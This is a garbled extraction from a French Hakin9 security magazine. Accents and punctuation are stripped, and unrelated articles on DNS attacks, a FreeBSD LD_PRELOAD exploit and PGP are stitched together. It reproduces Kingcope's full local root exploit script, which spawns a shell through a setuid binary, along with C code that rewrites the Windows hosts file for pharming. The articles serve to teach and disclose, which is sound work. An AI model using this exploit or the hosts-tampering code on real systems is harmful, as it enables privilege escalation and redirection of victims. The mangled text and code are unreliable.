Agrave ProPoS De lauteurSuite a un DUT informatique agrave Grenoble et un court pas-sage agrave lInstitut Laue-Langevin lauteur eacutetudie actuellement linformatique agrave luniversiteacute de Napier en Eacutecosse Passion-neacute dinformatique depuis longtemps il sinteacuteresse tout par-ticuliegraverement au reacuteseau et agrave larchitecture systegraveme plus speacute-cialement agrave Linux et BSD

6201040

AttAque

Le DNS a eacuteteacute inventeacute par Paul Mockapetris en 1983 Ce service est agrave la base dinternet et per-met de reacutealiser une correspondance entre nom de

domaine et adresse IP Malheureusement ce service comporte de nom-

breuses faiblesses susceptibles decirctre utiliseacutees une personne mal intentionneacutee

Ces vulneacuterabiliteacutes permettent de faire du phishing (hammeccedilonnage faire croire agrave tort agrave la victime quelle est sur un site fiable) mass-infection via des 0-days etc

Nous preacutesenterons dans un premier temps les bases du protocole DNS son fonctionnement

Puis nous nous inteacuteresserons aux attaques possibles sur le protocole DNS avant deacutevaluer les services et techniques de preacutevention

Le protocole DNSUn DNS Domain Name Server permet dassigner un nom de domaine agrave une adresse IP

En raison du nombre exponentiel de machines preacutesentes sur la toile il est difficile de se souvenir de toutes les adresses IP correspondant agrave chacune des machines Les noms de domaines ont eacuteteacute mis en place et permettent de pointer sur une machine speacutecifique

Ces meacutecanisme et protocole sont agrave la base de linter-net Sans cela il nexisterait pas

Le protocole DNS est un protocole ayant une certaine hieacuterarchie

A la base il y a la racine (root) ougrave commence toutes les branches

Les premiegraveres branches sont les domaines de haut niveau agrave savoir com net org

De chacun des noeuds se deacutegagent de nouvelles branches qui correspondent agrave de nouveaux eacuteleacutements

Si nous prenons le cas de Hakin9org une branche sortira de org et aura pour nom Hakin9 car le do-maine de haut niveau org a autoriteacute sur hakin9org

Regardons une image pour mieux comprendre(cf Figure 2)

Prenons le cas de hakin9 ladresse IP 79125436 est assigneacutee au nom de domaine hakin9org

Ce meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull reacutecupeacuterer ladresse IP auquel a eacuteteacute assigneacute un nom de domaine

bull Reacutecupeacuterer le nom de domaine agrave partir dune adres-se IP speacutecifique (Reverse DNS)

De nombreux enregistrements sont obtenus agrave partir dune requecircte DNS que nous allons preacutesenter dans cet article

bull A record lenregistrement primaire qui fait corres-pondre un nom de domaine agrave une adresse IP ex hakin9org gtgt 79125436

bull MX record celui-ci deacutefinit les diffeacuterents serveurs de mails pour un domaine en particulier

bull PTR record Il associe une adresse IP agrave un nom de domaine speacutecifique Cest ce dernier qui avait

Les attaques DNS

Bref reacutesumeacute cet article permettra de sinteacuteresser aux diffeacuterentes attaques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spoofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au DNS Pharming qui est un deacuteriveacute du Phishing

Cet article explique bull le principe des attaques possibles sur le protocole DNS Dans

un second temps nous nous inteacuteresserons aux moyens mis en place pour eacuteviter les risques et preacutevenir les utilisateurs

Ce quil faut savoir bull certaines notions sur le protocole DNS et le reacuteseau en regravegle

geacuteneacuterale mais aussi sur le Web en geacuteneacuteral et en C

Paul Amar

Les attaques DNS

hakin9orgfr 41

Le DNS ID SpoofingPrenons le cas de figure suivant

Une machine A souhaite communiquer avec une ma-chine B La machine A a besoin de ladresse IP de B pour commencer la communication Or si elle ne la connaicirct pas elle utilisera le protocole DNS pour lobtenir

La machine A eacutemettra vers un serveur DNS une re-quecircte demandant ladresse IP de la machine B

Pour identifier cette requecircte parmi toutes celles que le serveur DNS reccediloit un numeacutero didentification (champ fourni dans len-tecircte que nous avons vu plus haut) lui est assigneacute

Le serveur DNS apregraves avoir reacutealiseacute le travail de-mandeacute renvoie la reacuteponse avec le mecircme numeacutero didentification

Le problegraveme est quun pirate pourrait usurper le travail du serveur DNS en faisant rediriger la victime vers une adresse IP preacutealablement choisie

De nombreuses meacutethodes permettent agrave reacutecupeacuterer ce fameux numeacutero didentification comme

bull eacutecoute du reacuteseaubull utilisation dune faille dans un des systegravemes dex-

ploitationbull utilisation dune faille dun serveur DNS

La seule condition est que le pirate renvoie la reacuteponse avant le serveur

Agrave cette fin il dispose de nombreuses pratiques comme faire un DoS sur le serveur DNS cible pour eacuteviter quil reacuteponde Cela lui laisse ainsi tout le temps

eacuteteacute peacutesenteacute plus haut avec le Reverse DNS dont le meacutecanisme peut ecirctre reacutealiseacute dans les deux sens

bull Etc

Le port utiliseacute pour lenvoi de donneacutees en UDPTCP est le 53

Les principaux services utiliseacutes sont ceux qui eacutechan-gement des informations avec les enregistrements de ressources ou autrement dits les Ressource records (RR)

De nombreuses informations sont contenues dans len-tecircte correspondant aux RR (Ressource Records) comme

bull un numeacutero didentification est neacutecessaire pour dis-tinguer toutes les requecirctes DNS que le serveur re-ccediloit Cet identifiant est ensuite reacute-utiliseacute pour le ren-voi de la reacuteponse

Maintenant que nous avons vu certaines speacuteficiciteacutes du protocole DNS nous allons nous inteacuteresser aux dif-feacuterentes attaques possibles sur ce protocole

Le DNS SpoofingDeux principaux types dattaque reacutealisables relegravevent tous les deux du terme DNS Spoofing

Nous allons voir deux types dattaques le DNS ID Spoofing et le DNS Cache Poisoning

Parallegravelement nous allons traiter du pheacutenomegravene DNS Pharming qui relegraveve dune attaque DNS Cache Poisonning

Figure 1 Meacutecanismes DNS

Requecircte DNS pour le serveur website com

Jean Renvoie des informations concernant websitecom avec son IP ex 1222101

Jean se connecte agrave websitecom agrave partir de son adresse IP

Meacutecanisme reacutealiseacute par le service de DNS pour les diffeacuterentes informations

Websitecom

Serveur DNS

6201042

AttAque

de forger un paquet speacutecifique et ainsi lenvoyer agrave la victime

Lors de la reacuteception la victime pensera que le serveur DNS leacutegitime lui a renvoyeacute la reacuteponse et sera redirigeacutee vers un site frauduleux

Cette utilisation peut avoir des effets deacutevastateurs comme renvoyer vers un site qui propage un virus ren-voie sur une page de phishing hellip

Le DNS Cache PoisoningDe base un serveur DNS na des informations que pour les machines du domaine sur lequel il a autoriteacute Autre-ment dit il na pas stockeacute les informations relatives agrave dautres domaines

Si une machine A souhaite communiquer avec une machine B dun autre domaine le serveur DNS qui a autoriteacute sur la machine A contacte le serveur DNS qui a autoriteacute sur la machine B etc

Pour eacuteviter de saturer le reacuteseau il est preacutefeacuterable de garder en meacutemoire ces informations

Degraves lors si une autre machine demande agrave contacter la machine B elle pourra reacute-utiliser les informations contenues dans le cache du serveur DNS

Lattaque de DNS Cache Poisoning consiste agrave faire en sorte de corrompre ce fameux cache en inseacuterant des donneacutees voulues par le pirate

Pour que cela fonctionne il faut que le pirate ait le controcircle dun nom de domaine prenons fakecom ainsi

que le serveur DNS correspondant ayant autoriteacute sur celui-ci nsfakecom

Le pirate envoie ainsi une requecircte vers le serveur DNS cible (celui utiliseacute par la victime)

Il fait en sorte de demander la reacutesolution du nom dune machine affilieacutee au domaine fakecom

Le serveur DNS cible envoie les informations au serveur DNS du pirate (nsfakecom) qui quant agrave lui envoie les informations correspondant agrave sa demande ainsi que dautres informations compleacutementaires Ces derniegraveres auront juste pour effet de corrompre le cache du serveur DNS cible

Nous pourrions imaginer un sceacutenario ougrave le pirate cherche agrave rediriger des utilisateurs dune banque vers un site falsifieacute pour reacutecupeacuterer leurs informations person-nelles

Le laquo Pharming raquoLe pharming est une technique utiliseacutee par les pirates informatiques exploitant des vulneacuterabiliteacutes DNS

Le but est le mecircme que les attaques preacuteceacutedentes deacutetourner sa victime sur un site frauduleux en le faisant passer pour le veacuteritable

Deux types de laquo pharming raquo peuvent ecirctre mis en place

bull Le pharming local consiste agrave modifier le fichier hosts de la machine Ce fichier permet de rajouter des en-

Figure 2 hieacuterarchie du protocole DNS

Root Servers

orgcomfr

Hakin9

Les attaques DNS

hakin9orgfr 43

treacutees nom de domaine et adresse IP et il est lun des acteurs majeurs dans la navigation internet

bull Rajouter la ligne laquo 20985229104 hakin9org raquo redirigera tous les utilisateurs vers Google sils sou-haitent aller sur le site hakin9org

bull Le fait de modifier en local le fichier hosts nagit que sur les personnes utilisant le poste affecteacute Ce type de pharming ne peut pas se reacutepercuter sur dautres ordinateurs (cf Listing 1)

Lautre type possible est de compromettre le serveur DNS dont deacutepend la victime

bull Le nom est diffeacuterent mais correspond au DNS Cache Poisoning Lattaque consiste agrave alteacuterer son contenu en inseacuterant de fausses informations Degraves lors si un utilisateur recherche un certain nom de domaine compromis il se retrouvera sur un site fal-sifieacute

Figure 3 DNS ID Spoofing

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom

Le pirate eacutecoute le traffic et envoie avant le

serveur une reacuteponse DNSavec le mecircme iD

Victime

Le serveur reacutepons maismalheureusement trop tard

Figure 4 Cache Poising

Victime

La victime envoie une requecircte DNSpour savoir quelle est lIP de

mabanquecom Le pirate envoie de nombreuses donneacutees pour empoisonnser le cache DNSdu serveur cible infectant

ainsi toutes les requecirctes despcs qui utiliseront ce serveur

DNS

Pirate

Serveur CacheDNS

Le serveur DNS reacutepond via le cache emposonneacute par le pirate

6201044

AttAque

Le laquo Drive-by-pharming raquo technique en vogue de-puis de nombreuses anneacutees Cette derniegravere consiste agrave amener un internaute agrave exeacutecuter un script (souvent JavaScript) malveillant qui va modifier la configuration de son routeur personnel Il faut savoir que la plupart du temps le routeur personnel nest accessible quen LAN (agrave savoir seulement les personnes faisant par-tie du reacuteseau local accegravedent agrave linterface du routeur) et non en WAN (accessible agrave partir de la toile-mecircme cela signifie quun attaquant peut prendre le controcircle dun routeur situeacute aux Etats-Unis depuis la Russie) Le pirate utilisera linternaute comme intermeacutediaire dans son attaque pour faire en sorte quil modifie lui-mecircme les paramegravetres de sa box Ce type dattaque se reacutealise gracircce agrave des vulneacuterabiliteacutes de type CSRF (Cross Site Request Forgeries) qui ne sont autres que des formu-laires preacute-remplis exeacutecuteacutes lors du chargement de la page malicieuse Dapregraves une eacutetude de Symantec sur ce domaine 95 des utilisateurs agrave la laquo maison raquo auto-risent lexeacutecution du JavaScript dans leurs fureteurs in-ternet

Degraves lors il est possible de maniegravere transparente de changer certains paramegravetres afin de rediriger ses victimes vers des sites frauduleux

Solutions contre ces abusPour eacuteviter les problegravemes de DNS Spoofing plusieurs deacutemarches peuvent ecirctre reacutealiseacutees comme

bull Mettre agrave jour les serveurs DNS (cela permet par exemple deacuteviter des failles permettant le controcircle de ces serveurs DNS et ainsi preacutedire les numeacuteros de seacutequence correspondants)

bull Limiter le cache du serveur DNS et faire en sorte quil nenregistre pas dans sa base de donneacutees les enregistrements additionnels

bull Utiliser de la cryptographie comme SSL cela rend la vie plus difficile au pirate

bull Dans linfrastructure dune entreprise une alterna-tive serait lutilisation de deux serveurs DNS dis-tincts Lun serait accessible depuis la toile et reacute-pondrait aux demandes quil recevrait Dun autre cocircteacute un serveur DNS Interne offrirait ses servi-ces aux ordinateurs internes Les transactions quaurait ce dernier serveur DNS seraient par exemple avec les serveurs laquo racines raquo (root ser-vers) qui repreacutesentent la base de linternet Degraves lors nous pourrions plus ou moins les consideacuterer de laquo confiance raquo

Il existe en tout 13 serveurs racine du DNS situeacutes un peu partout dans le monde

Depuis peu ces 13 serveurs sont tous passeacutes agrave DNS-SEC (Domain Name System Security Extensions)

Ce protocole standardiseacute permet avant tout

bull la seacutecurisation des transactions DNS

Figure 5 changement de certains paramegravetres pour rediriger la victime vers des sites frauduleux

Victime

Site malicieurxcom

La victime va pour acceacuteder agrave un site

malicieux

Le site malicieux renvoie du code qui va faire des changements

sur sa box

Routeur de la victime accessible quagrave partir du LAN

Les attaques DNS

hakin9orgfr 45

bull la seacutecurisation des informations contenues dans les messages DNS

bull Stockage et distribution des cleacutes neacutecessaires au bon fonctionnement

Avant tout DNSSEC sappuie sur des signatures cryp-tographiques qui permettent de laquo signer raquo les inscrip-tions DNS actuelles

Cela permet de deacutetecter deacuteventuelles fraudes et ainsi eacuteviter agrave une victime decirctre pieacutegeacutee Cela ressemble agrave un gage de qualiteacute permettant de garantir que toutes les in-formations reccedilues sont effectivement celles demaneacutees

Le meacutecanisme utiliseacute est une geacuteneacuteration dune paire de codes

bull une cleacute priveacutee la cleacute priveacutee ne doit en aucun cas ecirctre divulgueacutee et ecirctre gardeacutee en seacutecuriteacute pour eacutevi-ter de casser la laquo chaine de confiance raquo mise en place Cette derniegravere reste chez le proprieacutetaire

bull une cleacute publique la cleacute publique est disponible pour tout le monde et est preacutesente dans chaque laquo DNSKEY record raquo Un laquo DNSKEY record raquo per-met de veacuterifier quil ne sagit pas dun site contrefait en veacuterifiant les signatures DNSSEC

bull Les donneacutees contenues dans chaque enregistre-ment laquo DNSKEY raquo sont les suivantes

bull Drapeaux (laquo Flags raquo) laquo Zone key raquo pour toutes les cleacutes DNSSEC et laquo Secure Entry Point raquo pour les cleacutes signant dautres cleacutes ou des cleacutes dites laquo simples raquo

bull Protocole la valeur est fixeacutee agrave 3 pour assurer la compatibiliteacute avec les versions preacuteceacutedentes

bull Algorithme lalgorithme utiliseacute par la cleacute publique bull Cleacute publique la cleacute publique en tant que telle

ConclusionGracircce aux diffeacuterentes avanceacutees technologiques dans ce domaine les risques sont plus ou moins diminueacutes Heureusement car ce protocole est lun des plus impor-tants agrave ce jour

Parallegravelement une infrastructure toucheacutee par une attaque au niveau du DNS est terriblement compromise car elle peut avoir de terribles reacutepercutions sur ses usa-gers

Une socieacuteteacute peut ecirctre entiegraverement laquo mise sur le car-reau raquo car sans les services offerts par le protocole DNS son activiteacute risque de cesser

Si cet article vous a inteacuteresseacute nheacutesitez pas agrave lire dautres articles comme par exemple la preacutesentation de Dan Kaminsky sur une faille concernant le laquo snoo-ping raquo du cache DNS de 2008

Listing 1 Code C pour Pharming local

ltcode C pour du Pharming en localgt

include ltstdlibhgt

include ltstdiohgt

int main(void)

FILE pharming = NULL

pharming = fopen(SYSTEMROOTsystem32drivers

etchosts a)

if (pharming = NULL)

fputs(20985229104 hakin9org

pharming)

fclose(pharming)

else

printf(Erreur au niveau de louverture

du fi chier Hosts)

return EXIT_SUCCESS

ltcodegt

Annexes

bull httpfrwikipediaorgwikiDomain_Name_System Article de Wikipeacutedia sur le protocole DNS

bull httpfrwikipediaorgwikiDomain_Name_System_Security_Extensions Article de Wikipeacutedia sur DNSSEC

bull httpwwwauthsecucombrute-force-dnsbrute-force-dnsphp Article qui traite de la brute-force des noms de do-maines

bull httpunixwiznettechtipsiguide-kaminsky-dns-vulnhtml Un guide illustreacute sur la faille DNS de Dan Kaminsky durant leacuteteacute 2008

bull httpwwwsecuriteinfocomattaqueshackingdnsspoofi ngshtml Article inteacuteressant sur le DNS Spoofi ng (incluant les deux attaques preacutesenteacutees dans larticle)

bull httpfrwikipediaorgwikiPharming Article de Wikipeacutedia sur le Pharming

A PROPOS De LAuteuR Lauteur est actuellement eacutetudiant en DUT Informatique lIUT de Fontainebleau Il sinteacuteresse de tregraves pregraves agrave tout ce qui a trait agrave la seacutecuriteacute in-formatique a n de comprendre les problegravemes associeacutes Il aimerait par la suite continuer ses eacutetudes dans une eacutecole dingeacutenieur

6201046

Focus

Le full disclosure (ou le fait de divulguer publique-ment les problegravemes de seacutecuriteacute ou les exploits) est quelque chose de primordial chez les pas-

sionneacutes de seacutecuriteacute informatique Il permet (entre autre) a chacun de pouvoir eacutetudier

les problegravemes deacutecouvert par dautre personne de com-prendre leurs fonctionnement et de seacutecuriser ses pro-pres codes

Lexemple de lexploit eacutetudieacute dans cet article est tregraves formateur sans demander une tregraves forte connaissance du systegraveme ou du C

Fonctionnement de LD_PRELoAD Il existe une variable denvironnement sous UNIX qui sappelle LD_PRELOAD Cette variable permet dinter-caler une librairie pour quelle soit prioritaire agrave celles de lOS Pour exemple nous allons utiliser le listing 1 qui permet simplement dafficher le PID du processus cou-rant

Voici le reacutesultat apregraves compilation

$ gcc listing1c -o listing1

$ listing1

pid 1423

A preacutesent nous allons creacuteer notre propre librairie getpid() qui retournera systeacutematiquement 31337 Le code est disponible au listing2 La compilation est un peu particulier afin de creacuteer une librairie parta-geacutee

$ gcc -fPIC -shared -o listing2so listing2c

A preacutesent nous avons un binaire qui utilise getpid() et une librairie partageacutee getpid() eacutegalement Voici com-ment fonctionne LD_PRELOAD pour utiliser en priori-teacute notre librairie et non pas celle de lOS

$ export LD_PRELOAD=listing2so

$ listing1

pid 31447

Nous voyons que listing1 utilise agrave preacutesent notre pro-pre librairie Cette astuce est tregraves utile pour debugger Il existe une fonction particuliegravere _ init() qui est lanceacute degraves lexeacutecution du main Et qui permet de ne pas cibler une fonction speacutecifique

Il y a toutefois une limitation a cette fonctionnaliteacute il nest pas possible dutiliser LD_PRELOAD sur un bi-naire suid La premiegravere chose que fait FreeBSD lors de lexeacutecution dun binaire suid est de vider cette variable Il fait ccedila par seacutecuriteacute pour eacuteviter dexeacutecuter du code ar-bitraire en temps que root via notre librairie Cest a ce niveau que va agir notre exploit

Analyse de lexploitPour commencer nous pouvons contempler lexploit au listing 3

Nous pouvons voir que cest en faite un script qui com-pile un binaire env et une librairie w00tso10 Nous pou-vons voir assez facilement que LD_PRELOAD est mis

Exploit ndash Local root FreeBsD via LD_PRELoAD

FreeBSD est souvent preacutesenteacute comme un OS agrave la seacutecuriteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosure par Kingcope Dans cet article nous eacutetudierons cet exploit et le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD apregraves avoir compris LD_PRELOAD

cet article expliquebull Comment fonctionne un exploit utilisant un bug LD_PRELOAD

sous FreeBSD

ce quil faut savoirbull Langage C des notions de systegraveme UNIX sont preacutefeacuterable

Paul Rascagnegraveres

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 47

comment FreeBsD vide la variable LD_PRELoAD Le listing 4 montre le morceau de code qui lance la pur-ge de certaines variables en cas de bit suid

en place juste avant de lancer la commande ping qui dispose dun bit suid Normalement la variable devrait donc ecirctre videacute par lOS Voyons comment FreeBSD vi-de cette variable

Listing 1 Source permettant dafficher le PID du processus en cours

include ltstdiohgt

int main()

printf(pid ungetpid())

return(0)

Listing 2 Librairie getpid() retournant systematiquement 31337

include ltstdiohgt

include ltsystypeshgt

pid_t getpid(void)

return(31337)

Listing 3 Exploit posteacute par Kingcope

binsh

echo FreeBSD local r00t zeroday

echo by Kingcope

echo November 2009

cat gt envc ltlt _EOF

include ltstdiohgt

main()

extern char environ

environ = (char)malloc(8096)

environ[0] = (char)malloc(1024)

environ[1] = (char)malloc(1024)

strcpy(environ[1] LD_PRELOAD=tmpw00t

so10)

execl(sbinping ping 0)

_EOF

gcc envc -o env

cat gt programc ltlt _EOF

include ltunistdhgt

include ltstdiohgt

include ltsystypeshgt

include ltstdlibhgt

void _init()

extern char environ

environ=NULL

system(echo ALEX-ALEXbinsh)

_EOF

gcc -o programo -c programc -fPIC

gcc -shared -Wl-sonamew00tso1 -o w00tso10

programo -nostartfiles

cp w00tso10 tmpw00tso10

env

Listing 4 fonction ou sont purgeacute certaines variables en cas de bit suid

func_ptr_type

_rtld(Elf_Addr sp func_ptr_type exit_proc Obj_

Entry objp)

trust = issetugid()

If the process is tainted then we un-set the

dangerous environment

variables The process will be marked as

tainted until setuid(2)

is called If any child process calls

setuid(2) we do not want any

future processes to honor the potentially un-

safe variables

if (trust)

unsetenv(LD_ PRELOAD)

unsetenv(LD_ LIBMAP)

unsetenv(LD_ LIBRARY_PATH)

unsetenv(LD_ LIBMAP_DISABLE)

unsetenv(LD_ DEBUG)

unsetenv(LD_ ELF_HINTS_PATH)

Return the exit procedure and the program entry

point

exit_proc = rtld_exit

objp = obj_main

return (func_ptr_type) obj_main-gtentry

6201048

Focus

Nous pouvons voir la fonction unsetenv() qui comme il est facile de le deviner permet dunset une variable denvironnement passeacutee en argument Cette fonction est retranscrite au listing 5

Cette fonction meacuterite une attention toute particuliegrave-re et une petite explication En premier lieu elle veacuterifie que le nom de la variable nest pas mal formeacutee En-suite deux fonctions __merge_environ() et __build_env() permettent de creacuteer un tableau contenant lenvironne-ment Pour finir elle supprime la variable via la fonction __remove_putenv() Le listing 6 montre le code de la fonc-tion __merge_environ()

Nous voyons que si il manque un laquo = raquo dans lune des variables denvironnement la fonction sort en -1 ce qui a pour incidence de ne jamais lancer la fonc-tion __remove_putenv() car unsetenv() sort laquo brutale-ment raquo Cest ce qui se passe dans notre cas La pre-miegravere variable denvironnement setteacute par lexploit est vide Mais le principal problegraveme est quil ny a pas de controcircle du code de retour de la fonction unsetenv()

Et donc notre binaire sexeacutecute avec la variable LD_PRELOAD Nous pouvons donc exeacutecuter nimporte quelle librairie arbitraire en tant que root via un bi-naire suid

Patch fournie par FreeBsDLe patch est des plus simple il consiste simplement a controcircler le code de retour dunsetenv() et a sortir en erreur en stoppant lexeacutecution du binaire Le listing 7 montre le patch

conclusionNous avons pu voir avec quelle faciliteacute Kingcope agrave reacuteussi agrave exeacutecuter du code en root Il est primordial de toujours veacuterifier les codes de retour des fonctions afin de valider que tout cest correctement passeacute comme nous le souhaitions Il est aussi important de noter que cette vulneacuterabiliteacute existe sous FreeBSD depuis de nombreuses anneacutees et que peut ecirctre certaines personnes ont exploiteacutes cette faille tout ce temps

Listing 5 fonction unsetenv() du fichier srcliblibcstdlibgetenvc

Unset variable with the same name by flagging it as inactive No variable is

ever freed

int

unsetenv(const char name)

int envNdx

size_t nameLen

Check for malformed name

if (name == NULL || (nameLen = __strleneq(name)) == 0)

errno = EINVAL

return (-1)

Initialize environment

if (__merge_environ() == -1 || (envVars == NULL ampamp __build_env() == -1))

return (-1)

Deactivate specified variable

envNdx = envVarsTotal - 1

if (__findenv(name nameLen ampenvNdx true) = NULL)

envVars[envNdx]active = false

if (envVars[envNdx]putenv)

__remove_putenv(envNdx)

__rebuild_environ(envActive - 1)

return (0)

Exploit ndash Local root FreeBsD via LD_PRELoAD

hakin9orgfr 49

Sans le full disclosure cette faille naurait peut ecirctre jamais eacuteteacute corrigeacute Il est donc vital dencourager ce type de deacutemarche de la part de tous les passionneacutes de seacutecuriteacute

Listing 6 Fonction __merge_environ()

static int

__merge_environ(void)

char env

char equals

Insert new environ into existing yet deactivated

environment array

origEnviron = environ

if (origEnviron = NULL)

for (env = origEnviron env = NULL env++)

if ((equals = strchr(env =)) == NULL)

__env_warnx(CorruptEnvValueMsg env strlen(env))

errno = EFAULT

return (-1)

if (__setenv(env equals - env equals + 11) == -1)

return (-1)

return (0)

Listing 7 Patch fournie par FreeBSD

if (trust)

- unsetenv(LD_ PRELOAD)

- unsetenv(LD_ LIBMAP)

- unsetenv(LD_ LIBRARY_PATH)

- unsetenv(LD_ LIBMAP_DISABLE)

- unsetenv(LD_ DEBUG)

- unsetenv(LD_ ELF_HINTS_PATH)

+ if (unsetenv(LD_ PRELOAD) ||

unsetenv(LD_ LIBMAP) ||

+ unsetenv(LD_ LIBRARY_PATH) ||

unsetenv(LD_ LIBMAP_DISABLE)

||

+ unsetenv(LD_ DEBUG) ||

unsetenv(LD_ ELF_HINTS_PATH))

+ _rtld_error(environment corrupt

aborting)

+ die()

+

ld_debug = getenv(LD_ DEBUG)

sur Internet

bull httpseclistsorgfulldisclosure2009Nov371 ndash publica-tion de Kingcope

bull httpwwwfreebsdorg ndash site offi ciel de FreeBSDbull httpwwwr00tedcom ndash site de lauteur de cet article

Agrave PRoPos DE LAuTEuRPaul Rascagnegraveres est un consultant informatique speacutecialiseacute en UNIX (Solaris AIX Linux et BSD) et en Seacutecuriteacute depuis plus de 5 ans Il a travailleacute chez des fabricants automobile ainsi que dans des banques franccedilaises et luxembourgeoises Il est eacutega-lement chercheur en seacutecuriteacute a titre priveacute dans ce cadre il ani-me de nombreuses communauteacutes de passionneacute en seacutecuriteacutesur internetPour contacter lauteur httpswwwr00tedcom

Page 26: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

chiffrement des mails

hakin9orgfr 29

chacun peut envoyer sa cleacute publique pour la mettre agrave disposition de tous pour le chiffrement tout particu-liegraverement

WotComme dans tout systegraveme deacutechange sur le net se po-se alors la question de la confiance que lon accorde agrave linterlocuteur A linverse dun systegraveme architectureacute autour dun PKI pour PGP la confiance se gegravere de per-sonne agrave personne systegraveme aussi connu sous le nom de laquo Web Of Trust raquo Le Web Of Trust est un concept in-venteacute en mecircme temps que PGP dans le but deacutetablir un niveau de confiance entre les personnes utilisant PGP (voir Figure 2) Il suit un modegravele deacutecentraliseacute et son meacute-

(voir encadreacute et Figure 1) La fonction de hachage utili-seacutee par deacutefaut est le SHA-1

Le standard OpenPGP a lavantage de permettre une grande modulariteacute dans le contenu de la cleacute il est en effet possible dajouter plusieurs UID au sein dune mecircme cleacute donc dajouter plusieurs adresses mail ce qui eacutevite de multiplier le nombre de cleacutes Il est aussi possible dajouter des sous-cleacutes une photo changer le mot de passe de la cleacute priveacutee changer la date dexpiration ou encore modifier les preacutefeacuterences de la cleacute en terme de chiffrement hachage compres-sion

La diffusion des cleacutes publiques se fait par linter-meacutediaire de serveurs de cleacutes PGP publiques Ainsi

envoi dun mail signeacute et chiff reacute

Chiff rement

1 On geacutenegravere la cleacute de session et on chiff re le texte avec2 On ajoute le texte chiff reacute dans le mail3 Bob prend la cleacute public de Alice pour chiff rer la cleacute de session4 Il ajoute la cleacute de session dans le mail

Signature

1 Il hache le corps du texte2 Il chiff re le digest(hash) avec sa cleacute priveacutee pour creacuteer la signature3 Il ajoute la signature dans le mail4 Il envoi le mail agrave Alice

Deacutechiff rement

1 Alice deacutechiff re la cleacute de session avec sa cleacute priveacutee2 Elle deacutechiff re le message avec la cleacute de session

Veacuterifi cation signature

1 Elle deacutechiff re la signature avec la cleacute public de Bob 11 Elle obtient le hash que Bob avait fait du corps du message2 Alice hash le message deacutechiff reacute preacuteceacutedemment3 Si les condensas (hash) sont identiques alors la signature est valide

Figure 1 Envoi dun mail signeacute et chiff reacute

6201030

Seacutecuriteacute reacuteSeaux

canisme central est la signature des cleacutes Le principe est de signer avec sa cleacute priveacutee la cleacute publique de quel-quun dont on confirme lidentiteacute suite agrave une rencontre physique ou au cours dune Signing Party

Il existe trois grandes situations pour lesquelles PGP accorde sa confiance agrave une cleacute

bull On a signeacute la cleacute de quelquun directement ou in-directement (si on agrave configureacute notre cleacute avec un ni-veau de confiance maximum ce qui parait normal)

bull Notre cleacute et la cleacute du destinataire est signeacute par une 3egraveme personne(tiers) agrave laquelle on a accordeacute le ni-veau de confiance maximum

bull Par reacuteaction en chaicircne on agrave accordeacute notre confian-ce agrave la personne en accordant le niveau de confian-ce maximum agrave une personne qui la signeacute)

bull NoteDans gpg on peut configurer le trust-model par deacutefaut cest le Web Of Trust ci-dessus mais il en existe dautres tels que le direct ou la validiteacute dune cleacute nest pas calculeacutee avec le Web Of Trust mais deacutefinie par lutilisateur ou encore le always qui ne tient pas compte du Web Of Trust Ainsi si la si-gnature est bonne la cleacute est de confiance sinon elle ne lest pas

risques lieacutes agrave la technologie PGPLe principal risque lieacute agrave PGP est la diffusion de la cleacute En effet nimporte qui peut creacuteer une cleacute PGP

avec une adresse mail quil ne possegravede pas et len-voyer sur un serveur de cleacute publique Ce pheacutenomegrave-ne dusurpation didentiteacute est le principal risque car un mail chiffreacute avec une cleacute usurpeacutee sera lisible par lusurpateur en supposant quil ait accegraves agrave la boite aux lettres eacutelectronique ou quil soit apte agrave intercep-ter les mails en amont Dans ce cas lagrave rien nem-pecircche lusurpateur de deacutechiffrer le mail le chiffrer agrave nouveau avec la bonne cleacute et de le renvoyer agrave la bonne personne ce qui fait finalement penser agrave du man in the middle Cependant en pratique la mise en place de ce genre dattaque doit ecirctre tregraves com-plexe

Le deuxiegraveme inconveacutenient de PGP est labsence de meacutethode pro-active pour veacuterifier la validiteacute dune cleacute Par exemple lorsque lon reacutevoque notre cleacute et quon lenvoie sur un serveur de cleacute celle-ci est reacutevo-queacutee Cependant si nos correspondant ne procegravedent pas veacuterification manuelle(gpg --refresh-keys) de leacutetat de la cleacute alors ils continuerons agrave utiliser une cleacute qui est normalement reacutevoqueacutee Cependant rien ne nous empecircche de mettre cette commande dans un cron-tab ou automatiser la mise agrave jour dune quelconque maniegravere

La meilleure solution contre ces problegravemes reste la communication avec les correspondants y compris lors de la prise de contact pour quil vous transmette lID de sa cleacute ou son fingerprint

Fonctionnement du Web of trust

1 Bob creacutee sa cleacute et lenvoie sur un serveur de cleacute PGP2 Alice veut envoyer un message agrave Bob et teacuteleacutecharge la cleacute Comment ecirctre sucircr que cest bien celle de Bob 3 Dans ce cas Alice a signeacute la cleacute dun ami qui agrave lui mecircme signeacute la cleacute de Bob donc indirectement Alice agrave confi ance dans la cleacute de

Bob et elle pourra chiff rer en toute confi ance des messages pour Bob

Figure 2 Systegraveme de confi ance PGP

6201032

Seacutecuriteacute reacuteSeaux

GnuPG en pratiqueAvant de pouvoir eacutechanger une quelconque cleacute il faut dabord la creacutee Voici comment creacuteer un couple de cleacutes et quelques informations pour ladministrer

Avant de commencer il faut savoir que certains lo-giciels et plugins permettent de creacuteer et dadministrer les cleacutes Cela reste cependant plus instructif de le faire manuellement

